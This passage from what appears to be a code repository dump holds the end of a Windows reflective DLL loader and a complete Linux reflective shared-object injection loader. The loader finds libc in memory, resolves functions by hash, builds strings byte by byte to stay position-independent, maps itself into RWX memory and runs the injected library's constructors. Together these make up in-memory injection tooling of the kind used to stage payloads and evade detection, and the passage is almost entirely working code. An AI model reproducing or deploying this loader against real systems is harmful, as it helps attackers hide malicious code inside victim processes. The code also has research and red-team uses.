uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while( uiValueB-- ) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 402 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 404 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 416 | // sanity chack we are processing a MOV instruction... 417 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)( dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 435 | } 436 | } 437 | #endif 438 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 439 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 441 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof( IMAGE_RELOC ); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 476 | { 477 | BOOL bReturnValue = TRUE; 478 | switch( dwReason ) 479 | { 480 | case DLL_QUERY_HMODULE: 481 | if( lpReserved != NULL ) 482 | *(HMODULE *)lpReserved = hAppInstance; 483 | break; 484 | case DLL_PROCESS_ATTACH: 485 | hAppInstance = hinstDLL; 486 | break; 487 | case DLL_PROCESS_DETACH: 488 | case DLL_THREAD_ATTACH: 489 | case DLL_THREAD_DETACH: 490 | break; 491 | } 492 | return bReturnValue; 493 | } 494 | 495 | #endif 496 | //===============================================================================================// 497 | -------------------------------------------------------------------------------- /linux版/so/src/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2016, Infosec Guerilla (infosecguerrilla.wordpress.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | 30 | //===============================================================================================// 31 | // Debug mode used to test loader capabilities // 32 | //===============================================================================================// 33 | 34 | #ifdef RSOI_DEBUG_MODE 35 | #define debug(M, ...) { \ 36 | printf("DEBUG %s:%d: " M "\n", __FILE__, __LINE__, ##__VA_ARGS__); \ 37 | } 38 | #else 39 | #define debug(M, ...) 40 | #endif 41 | 42 | //===============================================================================================// 43 | 44 | #ifdef RSOI_DEBUG_MODE 45 | 46 | int main(int argc, char *argv[]) 47 | { 48 | if(argc < 2) 49 | { 50 | printf("Usage: %s \n", argv[0]); 51 | return -1; 52 | } 53 | 54 | ReflectiveLoader(argv[1]); 55 | return 0; 56 | } 57 | #endif 58 | 59 | //===============================================================================================// 60 | 61 | /* 62 | * This is a position independent ELF loader which is capable of being used to allow 63 | * a program to load itself into memory. 64 | * 65 | * More details on the implementation of this loader can be found at the following address 66 | * https://infosecguerrilla.wordpress.com/2016/07/21/reflective-so-injection/ 67 | * 68 | */ 69 | #ifdef RSOI_DEBUG_MODE 70 | int ReflectiveLoader(char *debugFile) 71 | #else 72 | int ReflectiveLoader() 73 | #endif 74 | { 75 | ELF_FILE this; /* ELF file we are going to be loading since we are loading ourselves into memory it is this file */ 76 | ELF_FILE libc; /* C library we are using to find dynamic linker functions */ 77 | 78 | /* 79 | * Functions we need from libc for ELF loading, we resolve these on 80 | * the fly by locating LIBC and finding these functions ourselves 81 | */ 82 | int (*libc_mprotect)(void *addr, size_t len, int prot); 83 | void* (*libc_calloc)(size_t, size_t size); 84 | void* (*libc_dlsym)(void *, char *); 85 | void* (*libc_dlopen)(char *, int mode); 86 | int (*libc_dlclose)(void *); 87 | void* (*libdl_dlsym)(void *handle, const char *symbol); /* We used dlsym because it is able to handle IFUNC function type something __libc_dlsym cannot for some reason */ 88 | /* See this post for more information - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */ 89 | unsigned int index; 90 | char libdl_s[11]; 91 | libdl_s[0] = 'l'; 92 | libdl_s[1] = 'i'; 93 | libdl_s[2] = 'b'; 94 | libdl_s[3] = 'd'; 95 | libdl_s[4] = 'l'; 96 | libdl_s[5] = '.'; 97 | libdl_s[6] = 's'; 98 | libdl_s[7] = 'o'; 99 | libdl_s[8] = '.'; 100 | libdl_s[9] = '2'; 101 | libdl_s[10] = '\0'; 102 | 103 | char dlsym_s[6]; 104 | dlsym_s[0] = 'd'; 105 | dlsym_s[1] = 'l'; 106 | dlsym_s[2] = 's'; 107 | dlsym_s[3] = 'y'; 108 | dlsym_s[4] = 'm'; 109 | dlsym_s[5] = '\0'; 110 | 111 | //Locate libc in memory 112 | libc.baseaddr = get_libc_base_addr(); 113 | libc.header = (Elf64_Ehdr *)libc.baseaddr; 114 | libc.segments = libc.header->e_phoff + libc.baseaddr; 115 | debug("[+] LIBC base address found at %p", libc.baseaddr); 116 | 117 | //Locate ELF header for this file 118 | this.header = find_elf_header(); 119 | debug("[+] Found my ELF header at %p", this.header); 120 | 121 | #ifdef RSOI_DEBUG_MODE /* Debug mode testing loader capabilities while being able to print debug info */ 122 | this.header = load_file_debug_mode(debugFile); 123 | debug("[+] Debug header located at %p", this.header); 124 | #endif 125 | 126 | this.segments = this.header->e_phoff + (void *)this.header; /* Program Segments */ 127 | this.sections = this.header->e_shoff + (void *)this.header; /* Program Sections */ 128 | 129 | //Find dynamiic program segment for libc 130 | debug("[i] Looking for dynamic program segment for libc in program headers"); 131 | for(int i = 0; i < libc.header->e_phnum; i++) 132 | { 133 | if(libc.segments[i].p_type == PT_DYNAMIC) 134 | { 135 | libc.dynamic = libc.segments[i].p_vaddr + libc.baseaddr; 136 | debug("[+] LIBC PT_DYNAMIC segment at address %p", libc.dynamic); 137 | } 138 | 139 | } 140 | 141 | //Find .dynsym table for libc 142 | debug("[i] Looking for dynsym program segment for libc in dynamic segment"); 143 | for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++) 144 | { 145 | if(libc.dynamic[i].d_tag == DT_SYMTAB) 146 | { 147 | libc.dynsym = (Elf64_Sym *)libc.dynamic[i].d_un.d_val; 148 | debug("[+] LIBC dynsym found at address %p", libc.dynsym); 149 | break; 150 | } 151 | } 152 | 153 | //find .dynstr table for libc 154 | for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++) 155 | { 156 | if(libc.dynamic[i].d_tag == DT_STRTAB) 157 | { 158 | libc.dynstr = (char *)(libc.dynamic[i].d_un.d_val); 159 | debug("[+] LIBC dynstr found at address %p", libc.dynstr); 160 | break; 161 | } 162 | } 163 | 164 | //find .gnu.hash section 165 | for(int i = 0; libc.dynamic[i].d_tag != DT_NULL; i++) 166 | { 167 | if(libc.dynamic[i].d_tag == DT_GNU_HASH) 168 | { 169 | libc.gnu_hash = (char *)(libc.dynamic[i].d_un.d_val); 170 | debug("[+] LIBC gnu_hash found at address %p", libc.gnu_hash); 171 | break; 172 | } 173 | } 174 | 175 | if(libc.gnu_hash == NULL) 176 | { 177 | debug("[-] Could not find GNU_HASH entry in dynamic segment"); 178 | return -1; 179 | } 180 | 181 | 182 | debug("[i] Resolving addresses of runtime dependencies"); 183 | 184 | //Resolve functions needed to run 185 | unsigned int count = 0; 186 | for(int i = 0; ;i++) /* You can also calculate the number of dynsym entries by looking in HASH or GNU_HASH tables */ 187 | { 188 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLOPEN_HASH) 189 | { 190 | libc_dlopen = libc.dynsym[i].st_value + libc.baseaddr; 191 | debug("[+] Found dlopen at %p", libc_dlopen); 192 | count++; 193 | } 194 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLCLOSE_HASH) 195 | { 196 | libc_dlclose = libc.dynsym[i].st_value + libc.baseaddr; 197 | debug("[+] Found dlclose at %p", libc_dlclose); 198 | count++; 199 | } 200 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == DLSYM_HASH) 201 | { 202 | libc_dlsym = libc.dynsym[i].st_value + libc.baseaddr; 203 | debug("[+] Found dlsym at %p", libc_dlsym); 204 | count++; 205 | } 206 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == CALLOC_HASH) 207 | { 208 | libc_calloc = libc.dynsym[i].st_value + libc.baseaddr; 209 | debug("[+] Found calloc at %p", libc_calloc); 210 | count++; 211 | } 212 | if(hash(libc.dynsym[i].st_name + libc.dynstr) == MPROTECT_HASH) 213 | { 214 | libc_mprotect = libc.dynsym[i].st_value + libc.baseaddr; 215 | debug("[+] Found mprotect at %p", libc_mprotect); 216 | count++; 217 | } 218 | if(count == 5) 219 | { 220 | break; 221 | } 222 | } 223 | 224 | /* Find dlsym using __libc_dlsym - https://infosecguerrilla.wordpress.com/2016/07/28/glibc-strange-behavior/ */ 225 | 226 | void *libdlhandle = (*libc_dlopen)(libdl_s, RTLD_LAZY); 227 | debug("[+] Opened libdl with handle libdlhandle=%p", libdlhandle); 228 | libdl_dlsym = (*libc_dlsym)(libdlhandle, dlsym_s); 229 | debug("[+] Found libdl_dlsym at %p", libdl_dlsym); 230 | 231 | debug("[i] Finished resolving addresses of runtime dependencies"); 232 | debug("[i] Allocating RWX memory to load shared object into and calculating program size"); 233 | 234 | //Calculate program base address aligned to page size (0x1000 bytes) 235 | unsigned int size; 236 | size = get_program_memory_size(this.header); 237 | 238 | debug("[i] Program size is %u", size); 239 | //Allocate this memory 240 | this.baseaddr = (*libc_calloc)(1, size); 241 | 242 | if(this.baseaddr == NULL) 243 | { 244 | debug("[-] ERROR libc_calloc failed"); 245 | return -1; 246 | } 247 | 248 | //Round process base address to page size 249 | this.baseaddr += (unsigned long)(0x1000 - ((unsigned long)this.baseaddr & 0x00000FFF)); 250 | 251 | if((*libc_mprotect)(this.baseaddr, size, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) 252 | { 253 | debug("[-] ERROR mprotect call to create RWX memory region failed and returned with error"); 254 | return -1; 255 | } 256 | 257 | debug("[+] Shared object baseaddr at %p", this.baseaddr); 258 | 259 | //Map program segments into memory 260 | for(int i = 0; i < this.header->e_phnum; i++) 261 | { 262 | //Copy loadable segments into memory 263 | if(this.segments[i].p_type == PT_LOAD) 264 | { 265 | debug("[+] PT_LOAD Segment loaded at %p", this.segments[i].p_vaddr + this.baseaddr); 266 | crt_memcpy(this.baseaddr + this.segments[i].p_vaddr, (void *)this.header + this.segments[i].p_offset, this.segments[i].p_filesz); 267 | } 268 | 269 | } 270 | 271 | //Find SH_STRTAB 272 | this.SH_STRTAB = (void *)this.header + this.sections[this.header->e_shstrndx].sh_offset; 273 | 274 | //find this files .dynamic section 275 | index = find_section_by_hash(DYNAMIC_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 276 | this.secdynamic = (Elf64_Shdr *)&this.sections[index]; 277 | this.dynamic = this.secdynamic->sh_addr + this.baseaddr; 278 | 279 | //find this files .dynstr 280 | index = find_section_by_hash(DYNSTR_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 281 | this.secdynstr = (Elf64_Shdr *)&this.sections[index]; 282 | this.dynstr = this.secdynstr->sh_addr + this.baseaddr; 283 | 284 | //find this files .rela.plt section 285 | index = find_section_by_hash(RELAPLT_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 286 | this.secrelaplt = (Elf64_Shdr *)&this.sections[index]; 287 | this.relaplt = this.secrelaplt->sh_addr + this.baseaddr; 288 | 289 | //find this files .rela.dyn section 290 | index = find_section_by_hash(RELADYN_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 291 | this.secreladyn = (Elf64_Shdr *)&this.sections[index]; 292 | this.reladyn = this.secreladyn->sh_addr + this.baseaddr; 293 | 294 | //find this files dynsym section 295 | index = find_section_by_hash(DYNSYM_HASH, this.sections, this.SH_STRTAB, this.header->e_shnum); 296 | this.secdynsym = (Elf64_Shdr *)&this.sections[index]; 297 | this.dynsym = this.secdynsym->sh_addr + this.baseaddr; 298 | 299 | 300 | //dlopen DT_NEEDED libraries 301 | unsigned int numNeededLibraries = 0; 302 | void* *libHandles = NULL; 303 | unsigned int z = 0; 304 | 305 | //Count number of DT_NEEDED entries 306 | for(int i = 0; this.dynamic[i].d_tag != DT_NULL; i++) 307 | { 308 | if(this.dynamic[i].d_tag == DT_NEEDED) 309 | { 310 | numNeededLibraries++; 311 | } 312 | } 313 | 314 | libHandles = (*libc_calloc)(sizeof(void *), numNeededLibraries); 315 | 316 | if(libHandles == NULL) 317 | { 318 | debug("[-] Memory allocation failed.."); 319 | return -1; 320 | } 321 | 322 | //Open all libraries required by the shared object in order to execute 323 | for(int i = 0; this.dynamic[i].d_tag != DT_NULL && z < numNeededLibraries; i++) 324 | { 325 | if(this.dynamic[i].d_tag == DT_NEEDED) 326 | { 327 | debug("[i] Opening DT_NEEEDED library [%s]", this.dynamic[i].d_un.d_ptr + this.dynstr); 328 | libHandles[z] = (*libc_dlopen)(this.dynamic[i].d_un.d_ptr + this.dynstr, RTLD_LAZY); 329 | 330 | if(!libHandles[z]) 331 | { 332 | return -1; 333 | } 334 | 335 | z++; 336 | } 337 | } 338 | 339 | //Resolve PLT references 340 | for(int i = 0; i < this.secrelaplt->sh_size / sizeof(Elf64_Rela); i++) 341 | { 342 | if(ELF64_R_TYPE(this.relaplt[i].r_info) == R_X86_64_JUMP_SLOT) 343 | { 344 | void *funcaddr; 345 | char *symName; 346 | 347 | //Get Index into symbol table for relocation 348 | index = ELF64_R_SYM(this.relaplt[i].r_info); 349 | 350 | symName = this.dynsym[index].st_name + this.dynstr; 351 | 352 | //If symbol is a local symbol write the address of it into the .got.plt 353 | if(ELF64_ST_TYPE(this.dynsym[index].st_info) == STT_FUNC && this.dynsym[index].st_shndx != SHN_UNDEF) 354 | { 355 | debug("[i] Symbol type is STT_FUNC AND st_shndx IS NOT STD_UNDEF for %s", symName); 356 | *((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long *)(this.dynsym[index].st_value + this.baseaddr); 357 | } 358 | 359 | //We need to lookup the symbol searching through DT_NEEDED libraries 360 | else 361 | { 362 | for(int x = 0; x < numNeededLibraries; x++) 363 | { 364 | funcaddr = (*libdl_dlsym)(libHandles[x], symName); 365 | debug("[i] Looking up symbol for %s function address is %p", symName, funcaddr); 366 | if(funcaddr != NULL) 367 | { 368 | *((unsigned long *)(this.relaplt[i].r_offset + this.baseaddr)) = (unsigned long )((unsigned long)funcaddr); 369 | break; 370 | } 371 | } 372 | } 373 | } 374 | } 375 | 376 | //Perform relocations (.rela.dyn) 377 | for(int i = 0; i < this.secreladyn->sh_size / sizeof(Elf64_Rela); i++) 378 | { 379 | if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_64) 380 | { 381 | debug("[i] Processing Relocation of type R_86_64_64"); 382 | index = ELF64_R_SYM(this.reladyn[i].r_info); 383 | *((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[index].st_value + this.reladyn[i].r_addend; 384 | } 385 | /* 386 | * Lookup address of symbol and store it in GOT entry 387 | */ 388 | else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_GLOB_DAT) 389 | { 390 | debug("[i] Processing Relocation of type R_x86_64_GLOB_DAT %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr); 391 | 392 | //Check symbol both locally and globally (searching through DT_NEEDED entries) 393 | for(int x = 0; ;x++) 394 | { 395 | if(hash(this.dynsym[x].st_name + this.dynstr) == hash(this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr)) 396 | { 397 | //If symbol is a local symbol write the address of it into the .got.plt 398 | if(this.dynsym[x].st_shndx == SHN_UNDEF) 399 | { 400 | for(int y = 0; y < numNeededLibraries; y++) 401 | { 402 | 403 | void *faddr = libdl_dlsym(libHandles[y], this.dynsym[x].st_name + this.dynstr); 404 | debug("[i] Looking up symbol for %s function address is %p", this.dynsym[x].st_name + this.dynstr, faddr); 405 | if(faddr != NULL) 406 | { 407 | *((uint64_t *) (this.reladyn[i].r_offset + this.baseaddr)) = (unsigned long )((unsigned long)faddr); 408 | break; 409 | } 410 | } 411 | break; 412 | } 413 | 414 | //write value into got entry 415 | *((uint64_t *)(this.reladyn[i].r_offset + this.baseaddr)) = this.dynsym[x].st_value + this.baseaddr; 416 | break; 417 | } 418 | } 419 | } 420 | else if(ELF64_R_TYPE(this.reladyn[i].r_info) == R_X86_64_RELATIVE) 421 | { 422 | debug("[i] Processing Relocation of type R_x86_64_RELATIVE %s", this.dynsym[ELF64_R_SYM(this.reladyn[i].r_info)].st_name + this.dynstr); 423 | index = ELF64_R_SYM(this.reladyn[i].r_info); 424 | *((uint64_t *)((unsigned long)this.reladyn[i].r_offset + (unsigned long)this.baseaddr)) = this.reladyn[i].r_addend + this.baseaddr; 425 | } 426 | } 427 | 428 | //Close Opened Libraries 429 | for(int i = 0; i < numNeededLibraries; i++) 430 | { 431 | libc_dlclose(libHandles[i]); 432 | } 433 | 434 | libc_dlclose(libdlhandle); 435 | 436 | //Call constructors of shared object 437 | debug("[i] Calling shared object constructors"); 438 | call_program_constructors(this); 439 | 440 | return 1; 441 | } 442 | 443 | //===============================================================================================// 444 | // Reflective ELF Loader Functions 445 | //===============================================================================================// 446 | 447 | 448 | /* 449 | * Parse backwards in memory in order to locate the ELF Header of our injected file 450 | */ 451 | __attribute__((always_inline)) inline Elf64_Ehdr* 452 | find_elf_header() 453 | { 454 | 455 | unsigned char *IP; 456 | 457 | __asm__("leaq (%%rip), %0;": "=r"(IP)); 458 | 459 | //Locate the ELF Header for this file 460 | while(1 == 1) 461 | { 462 | if(check_elf_magic((Elf64_Ehdr *)IP)) 463 | { 464 | break; 465 | } 466 | IP--; 467 | } 468 | 469 | return (Elf64_Ehdr*)IP; 470 | } 471 | 472 | /* 473 | * Get the base address of libc by parsing /proc/self/maps (without a C library it is so annoying!) 474 | */ 475 | __attribute__((always_inline)) inline void* 476 | get_libc_base_addr() 477 | { 478 | 479 | MAPS_FILE maps; 480 | int fd; 481 | struct stat sb; 482 | MAPS_ENTRY e; 483 | 484 | /* Done this way to ensure relocations are not required 485 | * compiler generates a sequence of move instructions writing 486 | * the string onto the stack. */ 487 | 488 | char mapspath[16]; 489 | mapspath[0] = '/'; 490 | mapspath[1] = 'p'; 491 | mapspath[2] = 'r'; 492 | mapspath[3] = 'o'; 493 | mapspath[4] = 'c'; 494 | mapspath[5] = '/'; 495 | mapspath[6] = 's'; 496 | mapspath[7] = 'e'; 497 | mapspath[8] = 'l'; 498 | mapspath[9] = 'f'; 499 | mapspath[10] = '/'; 500 | mapspath[11] = 'm'; 501 | mapspath[12] = 'a'; 502 | mapspath[13] = 'p'; 503 | mapspath[14] = 's'; 504 | mapspath[15] = '\0'; 505 | 506 | char libc[6]; 507 | libc[0] = 'l'; 508 | libc[1] = 'i'; 509 | libc[2] = 'b'; 510 | libc[3] = 'c'; 511 | libc[4] = '-'; 512 | libc[5] = '\0'; 513 | 514 | char perms[5]; 515 | perms[0] = 'r'; 516 | perms[1] = '-'; 517 | perms[2] = 'x'; 518 | perms[3] = 'p'; 519 | perms[4] = '\0'; 520 | 521 | maps.maps = crt_mmap(NULL, 0x1000 * 200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); 522 | fd = crt_open("/proc/self/maps", 0, 0); 523 | maps.size = copy_in(fd, maps.maps); 524 | maps.pos = maps.maps; 525 | 526 | do 527 | { 528 | e = get_next_maps_entry(&maps); 529 | 530 | if(e.name == NULL) /* Entry does not have a name */ 531 | continue; 532 | 533 | if(crt_strcmp(e.name, &libc) > 0) 534 | { 535 | if(crt_strcmp(e.perms, &perms) > 0) 536 | return e.startaddr; 537 | } 538 | 539 | } while(e.startaddr != NULL); 540 | 541 | crt_munmap(maps.maps, 0x1000 * 200); //unmap maps file from memory 542 | crt_close(fd); 543 | } 544 | 545 | /* 546 | * Get the next maps entry in the file 547 | */ 548 | __attribute__((always_inline)) inline MAPS_ENTRY 549 | get_next_maps_entry(MAPS_FILE *maps) 550 | { 551 | MAPS_ENTRY entry; 552 | int valid = 0; 553 | char *pos = maps->pos; 554 | char *temp; 555 | 556 | //Check if we have gotten to the end of the maps file 557 | if(*pos >= (maps->maps + maps->size)) 558 | return entry; 559 | 560 | //Get start address 561 | temp = pos; 562 | while(*pos != '-') 563 | { 564 | pos++; 565 | } 566 | *pos = '\0'; 567 | pos++; 568 | entry.startaddr = convert_string_to_64bit_pointer(temp); 569 | 570 | 571 | //Get end address of memory region 572 | temp = pos; 573 | while(*pos != ' ') 574 | { 575 | pos++; 576 | } 577 | *pos = '\0'; 578 | pos++; 579 | entry.endaddr = convert_string_to_64bit_pointer(temp); 580 | 581 | //Get permissions 582 | entry.perms = pos; 583 | 584 | //Get name of memory region if it is a shared library name 585 | while(*pos != '\n') { if(*pos == '/') { valid = 1; } pos++; } /* Skip over junk data */ 586 | *pos = '\0'; 587 | temp = pos; 588 | while(*pos != '/' && valid) { pos--; } pos++; /* Get name of shared object if a valid entry */ 589 | entry.name = pos; /* Save this name */ 590 | if(!valid) { entry.name = NULL; } 591 | pos = temp; 592 | 593 | pos++; //Skip to beginning of next entry 594 | maps->pos = pos; //Save this position 595 | return entry; 596 | } 597 | 598 | /* 599 | * Get the amount of memory which needs to be allocated in order to map our program into memory 600 | * plus some additional padding. 601 | */ 602 | __attribute__((always_inline)) inline unsigned int 603 | get_program_memory_size(Elf64_Ehdr *header) 604 | { 605 | 606 | unsigned int size = 0, numPages; 607 | Elf64_Phdr *segments = header->e_phoff + (void *)header; 608 | 609 | for(int i = 0; i < header->e_phnum; i++) 610 | { 611 | if(segments[i].p_type == PT_LOAD) 612 | { 613 | if(segments[i].p_memsz > segments[i].p_align) 614 | { 615 | numPages = 1 + (segments[i].p_memsz - segments[i].p_memsz % segments[i].p_align) / segments[i].p_align; 616 | } 617 | else 618 | { 619 | numPages = 1; 620 | } 621 | 622 | size += segments[i].p_align * numPages; 623 | } 624 | } 625 | size += 0x2000; //padding 626 | return size; 627 | } 628 | 629 | __attribute__((always_inline)) void inline 630 | call_program_constructors(ELF_FILE e) 631 | { 632 | 633 | int INIT_ARRAYSZ = 0; 634 | void* *INIT_ARRAY; 635 | void (*constructor)(); 636 | 637 | //find DT_INIT_ARRAYSZ 638 | for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++) 639 | { 640 | if(e.dynamic[i].d_tag == DT_INIT_ARRAYSZ) 641 | { 642 | INIT_ARRAYSZ = e.dynamic[i].d_un.d_ptr; 643 | break; 644 | } 645 | } 646 | 647 | //find DT_INIT_ARRAY 648 | for(int i = 0; e.dynamic[i].d_tag != DT_NULL; i++) 649 | { 650 | if(e.dynamic[i].d_tag == DT_INIT_ARRAY) 651 | { 652 | INIT_ARRAY = e.dynamic[i].d_un.d_ptr + e.baseaddr; 653 | break; 654 | } 655 | } 656 | 657 | //Call constructors in shared object 658 | for(int i = 1; i < INIT_ARRAYSZ; i++) 659 | { 660 | constructor = (uint64_t)INIT_ARRAY[i] + (uint64_t)e.baseaddr; 661 | 662 | if(INIT_ARRAY[i] == 0) 663 | break; 664 | 665 | debug("[i] Calling constructor %p", constructor); 666 | constructor(); 667 | } 668 | } 669 | 670 | /* check elf header */ 671 | __attribute__((always_inline)) inline unsigned int 672 | check_elf_magic(Elf64_Ehdr *elfHdr) 673 | { 674 | if(elfHdr->e_ident[0] == 0x7f) 675 | { 676 | if(elfHdr->e_ident[1] == 0x45) 677 | { 678 | if(elfHdr->e_ident[2] == 0x4c) 679 | { 680 | if(elfHdr->e_ident[3] == 0x46) 681 | { 682 | return 1; 683 | } 684 | } 685 | } 686 | } 687 | 688 | return 0; 689 | } 690 | 691 | /* Find elf section given a name and hash */ 692 | __attribute__((always_inline)) inline unsigned int 693 | find_section_by_hash(unsigned int sectionHash, Elf64_Shdr *sections, unsigned char *SH_STRTAB, unsigned int numSections) 694 | { 695 | for(int i = 0; i < numSections; i++) 696 | { 697 | unsigned char *sectionName = SH_STRTAB + sections[i].sh_name; 698 | 699 | if(hash(sectionName) == sectionHash) 700 | { 701 | return i; 702 | } 703 | } 704 | 705 | debug("[i] ERROR could not find section"); 706 | exit(-1); 707 | } 708 | 709 | //===============================================================================================// 